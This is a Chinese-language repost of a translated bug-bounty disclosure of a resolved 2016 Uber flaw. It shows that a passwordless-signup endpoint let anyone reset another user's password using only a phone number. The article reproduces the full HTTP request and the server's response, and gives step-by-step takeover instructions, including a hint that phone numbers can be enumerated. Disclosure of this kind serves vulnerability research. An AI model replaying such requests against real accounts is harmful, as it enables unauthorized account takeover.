转载

漏洞利用细节:改变任意用户的Uber密码

漏洞状态: 已解决(关闭)

披露时间: 2016年7月15日 凌晨5点38分

报告对象: Uber

漏洞类型: 身份验证类

奖金: 10000$

漏洞利用细节:改变任意用户的Uber密码

漏洞概述:

Uber是一款全球即时用车软件,该软件现已覆盖了全球六十多个国家和三百多个城市。而Uber的主要目的就是为大家提供更安全、更舒适的出行方式,并改善城市交通。

安全研究专家发现,通过Uber终端设备中的/rt/users/passwordless-signup, 攻击者只需要知道目标Uber用户的手机号码,即可修改这名目标用户的Uber账号密码 。但实际上,攻击者也可以不断枚举出手机号码,直到生成出注册了Uber账号的手机号。

目前,安全研究专家已经在Uber的乘客端进行了漏洞测试,并且发现这一漏洞很可能同样适用于Uber的司机端和其他用户角色。

请求/响应:

下面给出的是客户端的网络请求数据(用户具体的手机号已用xxxx代替):

POST /rt/users/passwordless-signup HTTP/1.1 Host: cn-geo1.uber.com User-Agent: client/iphone/2.137.1 Connection: close Content-Type: application/json Content-Length: 197 {"phoneNumberE164":"+xxxxxxxx","userWorkflow":"PASSWORDLESS_SIGNUP","userRole":"client","mobileCountryISO2":"XX","state":"CREATE_NEW_PASSWORD","newPasswordData":{"newPassword":"12345678911a!"}}

网络请求所对应的服务器响应信息如下:

{"phoneNumberE164":"+xxxxxxxx","serverState":"SUCCEEDED","serverStateData":{"nextState":"SIGN_IN"},"tripVerifyStateData":{},"userMessage":"New password has been created. Please login with the new Password.","userRole":"client","userWorkflow":"PASSWORDLESS_SIGNUP"}

漏洞利用过程:

首先,我们需要创建一个新的Uber乘客账号。在实验的过程中,安全研究人员使用的是iOS端的应用程序,但是这一漏洞并不受应用程序平台的影响。

注册成功之后,将上面的网络请求再次发送给Uber的服务器,但是需要在发送之前将“phoneNumberE164”的值修改为绑定账户的手机号码(手机号码需要包含国家号码前缀,并以“+”开头。例如美国手机号的前缀码为+1xxx)。在某些情况下,你可能需要重复发送两次这样的网络请求,否则你可能无法接收到服务器端发回的响应信息。最终,我们将会接收到一条内容为“新密码已被创建”的提示信息,这也就意味着,我们已经成功更新了目标账户的登录密码。而目标账号的新密码就是请求中“newPassword”域的值。

这样一来,我们就可以在 http://riders.uber.com/ 或者其他地方使用新密码来登录这个账号了。

在此之前,Uber一直都是黑客经常会选择的攻击目标。早在2014年,Uber公司就发生过严重的数据泄漏。在此次事件中,大约有五万名Uber出租车司机的姓名和驾驶执照信息被窃取了。此外,在2016年上半年,Uber平台下的大量账号信息竟然出现在了暗网市场中,大量用户信息发生了泄漏。为此,Uber公司的技术人员真的应该好好检查一下他们的产品安全性了。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。

原文链接:https://hackerone.com/reports/143717
原文  http://bobao.360.cn/news/detail/3305.html
正文到此结束
Loading...